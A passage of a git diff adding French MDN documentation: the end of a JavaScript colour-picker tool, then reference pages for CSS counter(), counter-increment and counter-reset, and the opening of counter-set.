+			Tool.unsetVoidSample();
+			CanvasSamples.unsetActiveSample();
+			active = samples[e.target.getAttribute('sample-id')];
+			active.activate();
+		};
+
+		var unsetActiveSample = function unsetActiveSample() {
+			if (active)
+				active.deactivate();
+			active = null;
+		};
+
+		var getSampleColor = function getSampleColor(id) {
+			if (samples[id] !== undefined &amp;&amp; samples[id]!== null)
+				return new Color(samples[id].color);
+		};
+
+		var updateContainerProp = function updateContainerProp() {
+			samples_per_line = ((container.clientWidth - 5) / 52) | 0;
+			var height = 52 * (1 + (nr_samples / samples_per_line) | 0);
+			container.style.height = height + 10 + 'px';
+		};
+
+		var AddSampleButton = (function AddSampleButton() {
+			var node;
+			var _index = 0;
+			var _posX;
+			var _posY;
+
+			var updatePosition = function updatePosition(index) {
+				_index = index;
+				_posY = 5 + ((index / samples_per_line) | 0) * 52;
+				_posX = 5 + ((index % samples_per_line) | 0) * 52;
+
+				node.style.top  = _posY + 'px';
+				node.style.left = _posX + 'px';
+			};
+
+			var addButtonClick = function addButtonClick() {
+				var sample = new ColorSample();
+				container.appendChild(sample.node);
+				updatePosition(_index + 1);
+				updateUI();
+			};
+
+			var init = function init() {
+				node = document.createElement('div');
+				var icon = document.createElement('div');
+
+				node.className = 'sample';
+				icon.id = 'add-icon';
+				node.appendChild(icon);
+				node.addEventListener('click', addButtonClick);
+
+				updatePosition(0);
+				container.appendChild(node);
+			};
+
+			return {
+				init : init,
+				updatePosition : updatePosition
+			};
+		})();
+
+		var init = function init() {
+			container = getElemById('picker-samples');
+			trash_can = getElemById('trash-can');
+
+			AddSampleButton.init();
+
+			for (var i=0; i&lt;16; i++) {
+				var sample = new ColorSample();
+				container.appendChild(sample.node);
+			}
+
+			AddSampleButton.updatePosition(samples.length);
+			updateUI();
+
+			active = samples[0];
+			active.activate();
+
+			container.addEventListener('click', setActivateSample);
+
+			trash_can.addEventListener('dragover', allowDropEvent);
+			trash_can.addEventListener('dragenter', function() {
+				this.parentElement.setAttribute('drag-state', 'enter');
+			});
+			trash_can.addEventListener('dragleave', function(e) {
+				this.parentElement.setAttribute('drag-state', 'none');
+			});
+			trash_can.addEventListener('drop', deleteSample);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (active)
+					active.updateColor(color);
+			});
+
+		};
+
+		return {
+			init : init,
+			getSampleColor : getSampleColor,
+			unsetActiveSample : unsetActiveSample
+		};
+
+	})();
+
+	/**
+	 * Canvas Samples
+	 */
+	var CanvasSamples = (function CanvasSamples() {
+
+		var active = null;
+		var canvas = null;
+		var samples = [];
+		var zindex = null;
+		var tutorial = true;
+
+		var CanvasSample = function CanvasSample(color, posX, posY) {
+
+			var node = document.createElement('div');
+			var pick = document.createElement('div');
+			var delete_btn = document.createElement('div');
+			node.className = 'sample';
+			pick.className = 'pick';
+			delete_btn.className = 'delete';
+
+			this.uid = samples.length;
+			this.node = node;
+			this.color = color;
+			this.updateBgColor();
+			this.zIndex = 1;
+
+			node.style.top = posY - 50 + 'px';
+			node.style.left = posX - 50 + 'px';
+			node.setAttribute('sample-id', this.uid);
+
+			node.appendChild(pick);
+			node.appendChild(delete_btn);
+
+			var activate = function activate() {
+				setActiveSample(this);
+			}.bind(this);
+
+			node.addEventListener('dblclick', activate);
+			pick.addEventListener('click', activate);
+			delete_btn.addEventListener('click', this.deleteSample.bind(this));
+
+			UIComponent.makeDraggable(node);
+			UIComponent.makeResizable(node);
+
+			samples.push(this);
+			canvas.appendChild(node);
+			return this;
+		};
+
+		CanvasSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		CanvasSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		CanvasSample.prototype.updateZIndex = function updateZIndex(value) {
+			this.zIndex = value;
+			this.node.style.zIndex = value;
+		};
+
+		CanvasSample.prototype.activate = function activate() {
+			this.node.setAttribute('data-active', 'true');
+			zindex.setAttribute('data-active', 'true');
+
+			UIColorPicker.setColor('picker', this.color);
+			InputSliderManager.setValue('z-index', this.zIndex);
+		};
+
+		CanvasSample.prototype.deactivate = function deactivate() {
+			this.node.removeAttribute('data-active');
+			zindex.removeAttribute('data-active');
+		};
+
+		CanvasSample.prototype.deleteSample = function deleteSample() {
+			if (active === this)
+				unsetActiveSample();
+			canvas.removeChild(this.node);
+			samples[this.uid] = null;
+		};
+
+		CanvasSample.prototype.updatePosition = function updatePosition(posX, posY) {
+			this.node.style.top = posY - this.startY + 'px';
+			this.node.style.left = posX - this.startX + 'px';
+		};
+
+		var canvasDropEvent = function canvasDropEvent(e) {
+			var color = Tool.getSampleColorFrom(e);
+
+			if (color) {
+				var offsetX = e.pageX - canvas.offsetLeft;
+				var offsetY = e.pageY - canvas.offsetTop;
+				var sample = new CanvasSample(color, offsetX, offsetY);
+				if (tutorial) {
+					tutorial = false;
+					canvas.removeAttribute('data-tutorial');
+					var info = new CanvasSample(new Color(), 100, 100);
+					info.node.setAttribute('data-tutorial', 'dblclick');
+				}
+			}
+
+		};
+
+		var setActiveSample = function setActiveSample(sample) {
+			ColorPickerSamples.unsetActiveSample();
+			Tool.unsetVoidSample();
+			unsetActiveSample();
+			active = sample;
+			active.activate();
+		};
+
+		var unsetActiveSample = function unsetActiveSample() {
+			if (active)
+				active.deactivate();
+			active = null;
+		};
+
+		var createToggleBgButton = function createToggleBgButton() {
+			var button = document.createElement('div');
+			var state = false;
+			button.className = 'toggle-bg';
+			canvas.appendChild(button);
+
+			button.addEventListener('click', function() {
+				console.log(state);
+				state = !state;
+				canvas.setAttribute('data-bg', state);
+			});
+		};
+
+		var init = function init() {
+			canvas = getElemById('canvas');
+			zindex = getElemById('zindex');
+
+			canvas.addEventListener('dragover', allowDropEvent);
+			canvas.addEventListener('drop', canvasDropEvent);
+
+			createToggleBgButton();
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (active)	active.updateColor(color);
+			});
+
+			InputSliderManager.subscribe('z-index', function (value) {
+				if (active)	active.updateZIndex(value);
+			});
+
+			UIComponent.makeResizable(canvas, 'height');
+		};
+
+		return {
+			init : init,
+			unsetActiveSample : unsetActiveSample
+		};
+
+	})();
+
+	var StateButton = function StateButton(node, state) {
+		this.state = false;
+		this.callback = null;
+
+		node.addEventListener('click', function() {
+			this.state = !this.state;
+			if (typeof this.callback === "function")
+				this.callback(this.state);
+		}.bind(this));
+	};
+
+	StateButton.prototype.set = function set() {
+		this.state = true;
+		if (typeof this.callback === "function")
+			this.callback(this.state);
+	};
+
+	StateButton.prototype.unset = function unset() {
+		this.state = false;
+		if (typeof this.callback === "function")
+			this.callback(this.state);
+	};
+
+	StateButton.prototype.subscribe = function subscribe(func) {
+		this.callback = func;
+	};
+
+
+	/**
+	 * Tool
+	 */
+	var Tool = (function Tool() {
+
+		var samples = [];
+		var controls = null;
+		var void_sw;
+
+		var createPickerModeSwitch = function createPickerModeSwitch() {
+			var parent = getElemById('controls');
+			var icon = document.createElement('div');
+			var button = document.createElement('div');
+			var hsv = document.createElement('div');
+			var hsl = document.createElement('div');
+			var active = null;
+
+			icon.className = 'icon picker-icon';
+			button.className = 'switch';
+			button.appendChild(hsv);
+			button.appendChild(hsl);
+
+			hsv.textContent = 'HSV';
+			hsl.textContent = 'HSL';
+
+			active = hsl;
+			active.setAttribute('data-active', 'true');
+
+			function switchPickingModeTo(elem) {
+				active.removeAttribute('data-active');
+				active = elem;
+				active.setAttribute('data-active', 'true');
+				UIColorPicker.setPickerMode('picker', active.textContent);
+			};
+
+			var picker_sw = new StateButton(icon);
+			picker_sw.subscribe(function() {
+				if (active === hsv)
+					switchPickingModeTo(hsl);
+				else
+					switchPickingModeTo(hsv);
+			});
+
+			hsv.addEventListener('click', function() {
+				switchPickingModeTo(hsv);
+			});
+			hsl.addEventListener('click', function() {
+				switchPickingModeTo(hsl);
+			});
+
+			parent.appendChild(icon);
+			parent.appendChild(button);
+		};
+
+		var setPickerDragAndDrop = function setPickerDragAndDrop() {
+			var preview = document.querySelector('#picker .preview-color');
+			var picking_area = document.querySelector('#picker .picking-area');
+
+			preview.setAttribute('draggable', 'true');
+			preview.addEventListener('drop', drop);
+			preview.addEventListener('dragstart', dragStart);
+			preview.addEventListener('dragover', allowDropEvent);
+
+			picking_area.addEventListener('drop', drop);
+			picking_area.addEventListener('dragover', allowDropEvent);
+
+			function drop(e) {
+				var color = getSampleColorFrom(e);
+				UIColorPicker.setColor('picker', color);
+			};
+
+			function dragStart(e) {
+				e.dataTransfer.setData('sampleID', 'picker');
+				e.dataTransfer.setData('location', 'picker');
+			};
+		};
+
+		var getSampleColorFrom = function getSampleColorFrom(e) {
+			var sampleID = e.dataTransfer.getData('sampleID');
+			var location = e.dataTransfer.getData('location');
+
+			if (location === 'picker')
+				return UIColorPicker.getColor(sampleID);
+			if (location === 'picker-samples')
+				return ColorPickerSamples.getSampleColor(sampleID);
+			if (location === 'palette-samples')
+				return ColorPalette.getSampleColor(sampleID);
+		};
+
+		var setVoidSwitch = function setVoidSwitch() {
+			var void_sample = getElemById('void-sample');
+			void_sw = new StateButton(void_sample);
+			void_sw.subscribe( function (state) {
+				void_sample.setAttribute('data-active', state);
+				if (state === true) {
+					ColorPickerSamples.unsetActiveSample();
+					CanvasSamples.unsetActiveSample();
+				}
+			});
+		};
+
+		var unsetVoidSample = function unsetVoidSample() {
+			void_sw.unset();
+		};
+
+		var init = function init() {
+			controls = getElemById('controls');
+
+			var color = new Color();
+			color.setHSL(0, 51, 51);
+			UIColorPicker.setColor('picker', color);
+
+			setPickerDragAndDrop();
+			createPickerModeSwitch();
+			setVoidSwitch();
+		};
+
+		return {
+			init : init,
+			unsetVoidSample : unsetVoidSample,
+			getSampleColorFrom : getSampleColorFrom
+		};
+
+	})();
+
+	var init = function init() {
+		UIColorPicker.init();
+		InputSliderManager.init();
+		ColorInfo.init();
+		ColorPalette.init();
+		ColorPickerSamples.init();
+		CanvasSamples.init();
+		Tool.init();
+	};
+
+	return {
+		init : init
+	};
+
+})();
+
+</pre>
+</div>
+
+
+<div>{{CSSRef}}</div>
+
+<p>Cet outil vous permet de définir des couleurs web personnalisées.</p>
+
+<p>L'outil offre également une conversion facile entre les différents formats de couleurs CSS: couleurs hexadécimales, RVB (Rouge, Vert, Bleu) (aussi appelé <em>RGB</em> en anglais) et TSL (Teinte, Saturation Luminosité) (aussi appelé <em>HSL</em> en anglais). Le canal Alpha est également pris en charge pour les formats RGB (rgba) et HSL (hsla).</p>
+
+<p>Chaque couleur est prédéfinie dans les 3 formats standard CSS.</p>
+
+<p>En fonction de la couleur courante, une palette de couleurs est générée sur une échelle TSL ainsi que sur une échelle de transparence (en faisant varier l'alpha).</p>
+
+<p>Le sélecteur peut être réglé sur les formats HSL ou HSV (valeur de teinte et staturation).</p>
+
+<p>{{EmbedLiveSample('ColorPIcker_Tool', '100%', '900')}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Applying_color">Appliquer des couleurs sur des éléments HTML avec CSS</a></li>
+ <li><a href="/fr/docs/Learn/CSS/Styling_text/Fundamentals">La mise en forme du texte et les polices</a></li>
+ <li><a href="/fr/docs/Learn/CSS/Styling_boxes/Borders">Mettre en forme des bordures avec CSS</a></li>
+ <li><a href="/fr/docs/Learn/CSS/Styling_boxes/Backgrounds">Modifier l'arrière-plan avec CSS</a></li>
+ <li><a href="/fr/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">Les couleurs et le contraste</a></li>
+</ul>
diff --git a/files/fr/web/css/counter()/index.html b/files/fr/web/css/counter()/index.html
new file mode 100644
index 0000000000..a53c715337
--- /dev/null
+++ b/files/fr/web/css/counter()/index.html
@@ -0,0 +1,142 @@
+---
+title: counter()
+slug: Web/CSS/counter()
+tags:
+  - CSS
+  - Compteur CSS
+  - Fonction
+  - Reference
+translation_of: Web/CSS/counter()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction CSS <code><strong>counter</strong></code><strong><code>()</code></strong> renvoie une chaîne de caractères qui représente la valeur courante du compteur nommé (dont le nom est passé en argument). Elle est généralement utilisée pour construire un <a href="/fr/docs/Web/CSS/Pseudo-éléments">pseudo-élément</a> mais elle peut tout à fait être utilisée à n'importe quel endroit où une valeur {{cssxref("&lt;string&gt;")}} est attendue.</p>
+
+<pre class="notranslate">/* Usage simple */
+counter(nomcompteur);
+
+/* Modifier le type d'affichage du compteur */
+counter(nomcompteur, upper-roman)</pre>
+
+<p>Un <a href="/fr/docs/Web/CSS/CSS_Lists/Compteurs_CSS">compteur</a> CSS n'a aucun effet visible en lui-même. C'est la fonction <code>counter()</code> (ainsi que <code>counters()</code>) qui permet d'utiliser la chaîne de caractère ou l'image résultante.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note  :</strong> La fonction <code>counter()</code> peut être utilisée avec n'importe quelle propriété CSS mais la prise en charge des propriétés autres que {{CSSxRef("content")}} reste expérimentale et la prise en charge du paramètre « type ou unité » est hétérogène.</p>
+
+<p>Veillez à consulter <a href="#Browser_compatibility">le tableau de compatibilité des navigateurs</a> avant d'utiliser ces fonctionnalités en production.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;custom-ident&gt;")}}</dt>
+ <dd>Un nom identifiant le compteur (sensible à la casse). C'est le même nom qui pourra être utilisé avec {{cssxref("counter-reset")}} et  {{cssxref("counter-increment")}}. Le nom ne peut pas commencer avec deux tirets et ne peut pas être l'un des mots-clés <code>none</code>, <code>unset</code>, <code>initial</code> ou <code>inherit</code>.</dd>
+ <dt><code style="white-space: nowrap;">&lt;counter-style&gt;</code></dt>
+ <dd>Un nom de style de compteur ou une fonction <code><a href="/fr/docs/Web/CSS/symbols">symbols()</a></code>. Le nom d'un style de compteur peut indiquer un compteur <a href="/fr/docs/Web/CSS/list-style-type#Valeurs">alphabétique, numérique, symbolique ou encore utilisant un système de numération asiatique ou éthiopien</a> ou un autre <a href="/fr/docs/Web/CSS/CSS_Counter_Styles">style de compteur prédéfini</a>. Si cette valeur n'est pas fournie, le style par défaut est décimal.</dd>
+ <dt><code>none</code></dt>
+ <dd>Représente la chaîne de caractère vide.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Comparaison_entre_compteur_par_défaut_et_chiffres_romains_majuscules">Comparaison entre compteur par défaut et chiffres romains majuscules</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html; notranslate">&lt;ol&gt;
+  &lt;li&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css; highlight[2] notranslate">ol {
+  counter-reset: listCounter;
+}
+li {
+  counter-increment: listCounter;
+}
+li::after {
+  content: "[" counter(listCounter) "] == ["
+               counter(listCounter, upper-roman) "]";
+}</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Comparaison_entre_compteur_par_défaut_et_chiffres_romains_majuscules", "100%", 150)}}</p>
+
+<h3 id="Comparaison_entre_compteur_décimal_avec_zéro_et_compteur_alphabétique_minuscule">Comparaison entre compteur décimal avec zéro et compteur alphabétique minuscule</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;ol&gt;
+  &lt;li&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">ol {
+  counter-reset: count;
+}
+
+li {
+  counter-increment: count;
+}
+
+li::after {
+  content: "[" counter(count, decimal-leading-zero) "] == ["
+               counter(count, lower-alpha) "]";
+}</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Comparaison_entre_compteur_décimal_avec_zéro_et_compteur_alphabétique_minuscule", "100%", 150)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Lists", "#counter-functions", "CSS Counters")}}</td>
+   <td>{{Spec2("CSS3 Lists")}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "generate.html#counters", "CSS Counters")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.types.counter")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Lists/Compteurs_CSS">Utiliser les compteurs CSS</a></li>
+ <li>{{cssxref("counter-reset")}}</li>
+ <li>{{cssxref("counter-increment")}}</li>
+ <li>{{cssxref("@counter-style")}}</li>
+ <li>La fonction CSS <code><a href="/fr/docs/Web/CSS/counters">counters()</a></code></li>
+</ul>
diff --git a/files/fr/web/css/counter-increment/index.html b/files/fr/web/css/counter-increment/index.html
new file mode 100644
index 0000000000..7eaa65b7d3
--- /dev/null
+++ b/files/fr/web/css/counter-increment/index.html
@@ -0,0 +1,133 @@
+---
+title: counter-increment
+slug: Web/CSS/counter-increment
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/counter-increment
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>counter-increment</code></strong> est utilisée afin d'augmenter la valeur d'un <a href="/fr/docs/Web/CSS/Compteurs_CSS">compteur CSS</a> d'une valeur donnée.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/counter-increment.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> La valeur du compteur peut être réinitialisée avec une valeur arbitraire grâce à la propriété {{cssxref("counter-reset")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* On incrémente 'mon-compteur' de 1 */
+counter-increment: mon-compteur;
+
+/* On réduit 'mon-compteur' de 1 */
+counter-increment: mon-compteur -1;
+
+/* On incrémente 'compteur1' de 1 et on décrémente 'compteur2' de 4 */
+counter-increment: compteur1 compteur2 -4;
+
+/* On n'incrémente/décremente rien */
+/* cela permet d'effacer les règles moins spécifiques */
+counter-increment: none;
+
+/* Valeurs globales */
+counter-increment: inherit;
+counter-increment: initial;
+counter-increment: unset;
+</pre>
+
+<p>La propriété <code>counter-increment</code> peut être définie de deux façons :</p>
+
+<ul>
+ <li>Avec le mot-clé <code>none</code></li>
+ <li>Avec un identifiant ({{cssxref("&lt;custom-ident&gt;")}}) qui identifie le compteur et qui est éventuellement suivi par un entier ({{cssxref("&lt;integer&gt;")}}). On peut définir autant de compteurs qu'on veut, chacun étant séparé par un espace.</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;custom-ident&gt;")}}</dt>
+ <dd>Le nom du compteur qu'on souhaite incrémenter.L'identifiant peut se composer d'une combinaison de lettres entre <code>a</code> et <code>z</code> (sensible à la casse), de nombres compris entre <code>0</code> et <code>9</code>, de tirets bas (<code>_</code> ou <em>underscores</em>) et/ou de tirets. Le premier caractère qui n'est pas un tiret doit être une lettre. Il est également interdit d'utiliser deux tirets au début d'un identifiant. Enfin, un identifiant ne doit pas être <code>none</code>, <code>unset</code>, <code>initial</code> ou <code>inherit</code> quelque soit la combinaison de la casse.</dd>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
+ <dd>La valeur qu'on souhaite ajouter au compteur. La valeur par défaut est 1 (le compteur est alors incrémenté de 1).</dd>
+ <dt><code>none</code></dt>
+ <dd>Aucun compteur n'est incrémenté. Cette valeur est utilisée comme valeur par défaut et permet également d'annuler des incréments décrits par des règles moins spécifiques.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">ol {
+  list-style-type: none;
+  counter-reset: compteListe;
+}
+
+li::before {
+  counter-increment: compteListe 2;
+  content: counter(compteListe) " ";
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ol&gt;
+  &lt;li&gt;Et de deux&lt;/li&gt;
+  &lt;li&gt;Et de quatre&lt;/li&gt;
+  &lt;li&gt;Et de six&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Lists", "#propdef-counter-increment", "counter-increment")}}</td>
+   <td>{{Spec2("CSS3 Lists")}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "generate.html#propdef-counter-increment", "counter-increment")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.counter-increment")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Compteurs_CSS">Utiliser les compteurs CSS</a></li>
+ <li>{{cssxref("counter-reset")}}</li>
+ <li>{{cssxref("counter-set")}}</li>
+ <li>{{cssxref("@counter-style")}}</li>
+ <li>Les fonctions CSS {{cssxref("counter")}} et {{cssxref("counters")}}</li>
+</ul>
diff --git a/files/fr/web/css/counter-reset/index.html b/files/fr/web/css/counter-reset/index.html
new file mode 100644
index 0000000000..ec093ec4ac
--- /dev/null
+++ b/files/fr/web/css/counter-reset/index.html
@@ -0,0 +1,142 @@
+---
+title: counter-reset
+slug: Web/CSS/counter-reset
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/counter-reset
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>counter-reset</code></strong> permet de réinitialiser un <a href="/fr/docs/Web/CSS/Compteurs_CSS">compteur CSS</a> avec une valeur donnée.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/counter-reset.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> Pour incrémenter ou décrémenter le compteur, on pourra utiliser la propriété CSS {{cssxref("counter-increment")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* On réinitialise nom-compteur à 0 */
+counter-reset: nom-compteur;
+
+/* On réinitialise nom-compteur à -1 */
+counter-reset: nom-compteur -1;
+
+/* On initialise compteur1 à 1 et compteur2 à 4 */
+counter-reset: compteur1 1 compteur2 4;
+
+/* On annule toute réinitialisation qui aurait
+   pu être déclarée avec des règles moins spé-
+   cifiques */
+counter-reset: none;
+
+/* Valeurs globales */
+counter-reset: inherit;
+counter-reset: initial;
+counter-reset: unset;
+</pre>
+
+<p>Cette propriété se définit grâce à :</p>
+
+<ul>
+ <li>un identifiant (<code>&lt;custom-ident&gt;</code>) qui représente le compteur, éventuellement suivi par un entier (<code>&lt;integer&gt;</code>). Cela peut être répété plusieurs fois avec un espace en tant que séparateur.</li>
+ <li>ou grâce au mot-clé <code>none</code>.</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>{{cssxref("custom-ident", "&lt;custom-ident&gt;")}}</dt>
+ <dd>Le nom du compteur qu'on souhaite incrémenter. L'identifiant peut se composer d'une combinaison de lettres entre <code>a</code> et <code>z</code> (sensible à la casse), de nombres compris entre <code>0</code> et <code>9</code>, de tirets bas (<code>_</code> ou <em>underscores</em>) et/ou de tirets. Le premier caractère qui n'est pas un tiret doit être une lettre. Il est également interdit d'utiliser deux tirets au début d'un identifiant. Enfin, un identifiant ne doit pas être <code>none</code>, <code>unset</code>, <code>initial</code> ou <code>inherit</code> quelque soit la combinaison de la casse.</dd>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
+ <dd>La valeur avec laquelle on souhaite réinitialiser le compteur pour chaque occurrence de l'élément. La valeur par défaut est <code>0</code>.</dd>
+ <dt><code>none</code></dt>
+ <dd>Un mot-clé indiquant qu'il ne faut pas réinitialiser le compteur. Cette valeur peut être utilisée pour masquer des réinitialisations provenant de règles moins spécifiques.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">ol {
+  list-style-type: none;
+  counter-reset: compteListe;
+}
+
+li::before {
+  counter-increment: compteListe;
+  content: counter(compteListe) " ";
+}
+
+.reinit {
+  counter-reset: compteListe;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ol&gt;
+  &lt;li&gt;Et de un&lt;/li&gt;
+  &lt;li&gt;Et de deux&lt;/li&gt;
+  &lt;li&gt;Et de trois&lt;/li&gt;
+  &lt;li class="reinit"&gt;Et ça repart&lt;/li&gt;
+  &lt;li&gt;Et de deux&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Lists', '#counter-reset', 'counter-reset')}}</td>
+   <td>{{Spec2('CSS3 Lists')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'generate.html#propdef-counter-reset', 'counter-reset')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.counter-reset")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Compteurs_CSS">Les compteurs CSS</a></li>
+ <li>{{cssxref("counter-increment")}}</li>
+ <li>{{cssxref("@counter-style")}}</li>
+ <li>{{cssxref("counter-set")}}</li>
+ <li>{{cssxref("counter")}} et {{cssxref("counters")}}</li>
+ <li>{{cssxref("content")}}</li>
+</ul>
diff --git a/files/fr/web/css/counter-set/index.html b/files/fr/web/css/counter-set/index.html
new file mode 100644
index 0000000000..30836ddc75
--- /dev/null
+++ b/files/fr/web/css/counter-set/index.html
@@ -0,0 +1,108 @@
+---
+title: counter-set
+slug: Web/CSS/counter-set
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/counter-set
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>counter-set</code></strong> définit un <a href="/fr/docs/Web/CSS/CSS_Lists/Compteurs_CSS">compteur CSS</a> avec une certaine valeur. Elle permet de manipuler les valeurs des compteurs existants et ne créera qu'un nouveau compteur que lorsqu'il n'existe pas de compteur avec le nom indiqué sur l'élément.</p>
+
+<div class="note">
+<p><strong>Note :</strong> La valeur d'un compteur peut être incrémentée ou décrémentée grâce à la propriété CSS {{cssxref("counter-increment")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
